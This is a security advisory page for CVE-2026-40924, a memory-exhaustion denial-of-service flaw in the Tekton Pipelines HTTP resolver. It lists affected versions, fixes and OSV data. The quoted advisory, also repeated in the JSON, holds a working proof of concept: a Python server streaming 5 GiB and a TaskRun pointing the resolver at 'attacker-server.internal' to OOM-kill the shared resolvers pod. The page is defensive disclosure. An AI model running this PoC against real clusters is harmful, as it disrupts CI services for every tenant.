CVE-2026-40924: Tekton Pipelines Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-m2cx-gpqf-qf74
CVSS 6.5
CWE-400
Published
Advisory Summary

CVE-2026-40924 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Tekton Pipelines libraries in the Go ecosystem. The issue involves http resolver unbounded response body read enables denial of service via memory exhaustion. Remediation is available by upgrading affected packages to version 1.11.1, 1.0.2, 1.3.4, 1.6.2, 1.9.3.

CVE-2026-40924 at a Glance

CVE Identifier CVE-2026-40924
GHSA Identifier GHSA-m2cx-gpqf-qf74
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Tekton Pipelines
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-40924

To remediate this vulnerability, upgrade all affected Tekton Pipelines dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/tektoncd/pipeline fixed: 1.11.1
Upgrade github.com/tektoncd/pipeline to 1.11.1
github.com/tektoncd/pipeline fixed: 1.0.2
Upgrade github.com/tektoncd/pipeline to 1.0.2
github.com/tektoncd/pipeline fixed: 1.3.4
Upgrade github.com/tektoncd/pipeline to 1.3.4
github.com/tektoncd/pipeline fixed: 1.6.2
Upgrade github.com/tektoncd/pipeline to 1.6.2
github.com/tektoncd/pipeline fixed: 1.9.3
Upgrade github.com/tektoncd/pipeline to 1.9.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/tektoncd/pipeline

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40924, inspect your project dependencies for Tekton Pipelines:

inspect dependencies for github.com/tektoncd/pipeline

Analyze the terminal output to locate any version of Tekton Pipelines in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.11.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Tekton Pipelines, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The HTTP resolver's `FetchHttpResource` function calls `io.ReadAll(resp.Body)` with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the `tekton-pipelines-resolvers` pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated `pkg/resolution/resolver/http` and the current `pkg/remoteresolution/resolver/http` implementations. ## Details `pkg/resolution/resolver/http/resolver.go:279–307`: ```go func FetchHttpResource(ctx context.Context, params map[string]string, kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) { httpClient, err := makeHttpClient(ctx) // default timeout: 1 minute // ... resp, err := httpClient.Do(req) // ... defer func() { _ = resp.Body.Close() }() body, err := io.ReadAll(resp.Body) // ← no size limit if err != nil { return nil, fmt.Errorf("error reading response body: %w", err) } // ... } ``` `makeHttpClient` sets `http.Client{Timeout: timeout}` where `timeout` defaults to 1 minute and is configurable via `fetch-timeout` in the `http-resolver-config` ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window. The resolver deployment (`config/core/deployments/resolvers-deployment.yaml`) sets a 4 GiB memory limit on the `controller` container. A response of 4 GiB or larger delivered at wire speed will cause `io.ReadAll` to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires. The `remoteresolution` HTTP resolver (`pkg/remoteresolution/resolver/http/resolver.go:90`) delegates directly to the same `FetchHttpResource` function and is equally affected. ## PoC ```bash # Step 1: Run an HTTP server that streams a large response fast python3 - <<'EOF' import http.server, socketserver class LargeResponseHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.end_headers() # Stream 5 GB at full speed — completes in <60s on a local network chunk = b"X" * (1024 * 1024) # 1 MiB chunk for _ in range(5120): # 5120 * 1 MiB = 5 GiB self.wfile.write(chunk) def log_message(self, *args): pass with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd: httpd.serve_forever() EOF # Step 2: Create a TaskRun that triggers the HTTP resolver kubectl create -f - <<'EOF' apiVersion: tekton.dev/v1 kind: TaskRun metadata: name: dos-poc namespace: default spec: taskRef: resolver: http params: - name: url value: http://attacker-server.internal:8080/large-payload EOF # Expected result: tekton-pipelines-resolvers pod is OOM-killed. # All resolver types in the cluster (git, hub, bundle, cluster, http) # become unavailable until Kubernetes restarts the pod. # Repeated submission causes a crash loop that continuously disrupts # resolution for all tenants in the cluster. ``` **Note:** On clusters where operators have set a higher `fetch-timeout` (e.g., `10m`), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices. ## Impact - **Denial of Service**: OOM-kill of the `tekton-pipelines-resolvers` pod denies all resolution services cluster-wide until Kubernetes restarts the pod. - **Crash loop amplification**: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold. - **Blast radius**: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user. ## Recommended Fix Wrap `resp.Body` with `io.LimitReader` before passing to `io.ReadAll`. Add a configurable `max-body-size` option to the `http-resolver-config` ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file): ```go const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB // In FetchHttpResource, replace: // body, err := io.ReadAll(resp.Body) // with: maxBytes := int64(defaultMaxBodyBytes) if v, ok := conf["max-body-size"]; ok { if parsed, err := strconv.ParseInt(v, 10, 64); err == nil { maxBytes = parsed } } limitedReader := io.LimitReader(resp.Body, maxBytes+1) body, err := io.ReadAll(limitedReader) if err != nil { return nil, fmt.Errorf("error reading response body: %w", err) } if int64(len(body)) > maxBytes { return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes) } ``` This fix must be applied to `FetchHttpResource` in `pkg/resolution/resolver/http/resolver.go`, which is shared by both the deprecated and current HTTP resolver implementations.

CVE-2026-40924 Affected Tekton Pipelines Versions

5 component(s)
Fixed Versions:
1.11.11.0.21.3.41.6.21.9.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/tektoncd/pipeline
Go
≥ 1.10.0
< 1.11.1
1.11.1
github.com/tektoncd/pipeline
Go
≥ 1.0.0
< 1.0.2
1.0.2
github.com/tektoncd/pipeline
Go
≥ 1.2.0
< 1.3.4
1.3.4
github.com/tektoncd/pipeline
Go
≥ 1.4.0
< 1.6.2
1.6.2
github.com/tektoncd/pipeline
Go
≥ 1.7.0
< 1.9.3
1.9.3

References

Frequently Asked Questions

What is CVE-2026-40924?
CVE-2026-40924 is a security vulnerability in Tekton Pipelines involving HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion under CWE-400: Uncontrolled Resource Consumption.
Which Tekton Pipelines versions are affected?
Affected versions include releases prior to 1.11.1, 1.0.2, 1.3.4, 1.6.2, 1.9.3 across affected packages: github.com/tektoncd/pipeline.
What version fixes CVE-2026-40924?
Upgrading to 1.11.1, 1.0.2, 1.3.4, 1.6.2, 1.9.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/tektoncd/pipeline affected?
Yes, github.com/tektoncd/pipeline is affected in releases prior to 1.11.1, 1.0.2, 1.3.4, 1.6.2, 1.9.3. Upgrade your dependency to 1.11.1, 1.0.2, 1.3.4, 1.6.2, 1.9.3 or later.
What is the CVSS score of CVE-2026-40924?
CVE-2026-40924 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-40924?
CVE-2026-40924 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Go dependencies for CVE-2026-40924?
Run the dependency tree command: 'inspect dependencies for github.com/tektoncd/pipeline'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m2cx-gpqf-qf74",
  "modified" : "2026-05-22T15:45:15Z",
  "published" : "2026-04-21T20:27:33Z",
  "aliases" : [ "CVE-2026-40924" ],
  "summary" : "Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion",
  "details" : "## Summary\n\nThe HTTP resolver's `FetchHttpResource` function calls `io.ReadAll(resp.Body)` with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the `tekton-pipelines-resolvers` pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated `pkg/resolution/resolver/http` and the current `pkg/remoteresolution/resolver/http` implementations.\n\n## Details\n\n`pkg/resolution/resolver/http/resolver.go:279–307`:\n\n```go\nfunc FetchHttpResource(ctx context.Context, params map[string]string,\n    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {\n\n    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute\n    // ...\n    resp, err := httpClient.Do(req)\n    // ...\n    defer func() { _ = resp.Body.Close() }()\n\n    body, err := io.ReadAll(resp.Body)  // ← no size limit\n    if err != nil {\n        return nil, fmt.Errorf(\"error reading response body: %w\", err)\n    }\n    // ...\n}\n```\n\n`makeHttpClient` sets `http.Client{Timeout: timeout}` where `timeout` defaults to 1 minute and is configurable via `fetch-timeout` in the `http-resolver-config` ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.\n\nThe resolver deployment (`config/core/deployments/resolvers-deployment.yaml`) sets a 4 GiB memory limit on the `controller` container. A response of 4 GiB or larger delivered at wire speed will cause `io.ReadAll` to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.\n\nThe `remoteresolution` HTTP resolver (`pkg/remoteresolution/resolver/http/resolver.go:90`) delegates directly to the same `FetchHttpResource` function and is equally affected.\n\n## PoC\n\n```bash\n# Step 1: Run an HTTP server that streams a large response fast\npython3 - <<'EOF'\nimport http.server, socketserver\n\nclass LargeResponseHandler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.end_headers()\n        # Stream 5 GB at full speed — completes in <60s on a local network\n        chunk = b\"X\" * (1024 * 1024)  # 1 MiB chunk\n        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB\n            self.wfile.write(chunk)\n\n    def log_message(self, *args):\n        pass\n\nwith socketserver.TCPServer((\"\", 8080), LargeResponseHandler) as httpd:\n    httpd.serve_forever()\nEOF\n\n# Step 2: Create a TaskRun that triggers the HTTP resolver\nkubectl create -f - <<'EOF'\napiVersion: tekton.dev/v1\nkind: TaskRun\nmetadata:\n  name: dos-poc\n  namespace: default\nspec:\n  taskRef:\n    resolver: http\n    params:\n      - name: url\n        value: http://attacker-server.internal:8080/large-payload\nEOF\n\n# Expected result: tekton-pipelines-resolvers pod is OOM-killed.\n# All resolver types in the cluster (git, hub, bundle, cluster, http)\n# become unavailable until Kubernetes restarts the pod.\n# Repeated submission causes a crash loop that continuously disrupts\n# resolution for all tenants in the cluster.\n```\n\n**Note:** On clusters where operators have set a higher `fetch-timeout` (e.g., `10m`), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.\n\n## Impact\n\n- **Denial of Service**: OOM-kill of the `tekton-pipelines-resolvers` pod denies all resolution services cluster-wide until Kubernetes restarts the pod.\n- **Crash loop amplification**: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.\n- **Blast radius**: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.\n\n## Recommended Fix\n\nWrap `resp.Body` with `io.LimitReader` before passing to `io.ReadAll`. Add a configurable `max-body-size` option to the `http-resolver-config` ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):\n\n```go\nconst defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB\n\n// In FetchHttpResource, replace:\n//   body, err := io.ReadAll(resp.Body)\n// with:\nmaxBytes := int64(defaultMaxBodyBytes)\nif v, ok := conf[\"max-body-size\"]; ok {\n    if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {\n        maxBytes = parsed\n    }\n}\nlimitedReader := io.LimitReader(resp.Body, maxBytes+1)\nbody, err := io.ReadAll(limitedReader)\nif err != nil {\n    return nil, fmt.Errorf(\"error reading response body: %w\", err)\n}\nif int64(len(body)) > maxBytes {\n    return nil, fmt.Errorf(\"response body exceeds maximum allowed size of %d bytes\", maxBytes)\n}\n```\n\nThis fix must be applied to `FetchHttpResource` in `pkg/resolution/resolver/http/resolver.go`, which is shared by both the deprecated and current HTTP resolver implementations.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tektoncd/pipeline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.10.0"
      }, {
        "fixed" : "1.11.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tektoncd/pipeline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "fixed" : "1.0.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tektoncd/pipeline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.2.0"
      }, {
        "fixed" : "1.3.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tektoncd/pipeline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.4.0"
      }, {
        "fixed" : "1.6.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tektoncd/pipeline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.7.0"
      }, {
        "fixed" : "1.9.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40924"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tektoncd/pipeline"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tektoncd/pipeline/releases/tag/v1.11.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-21T20:27:33Z",
    "nvd_published_at" : "2026-04-21T21:16:45Z"
  }
}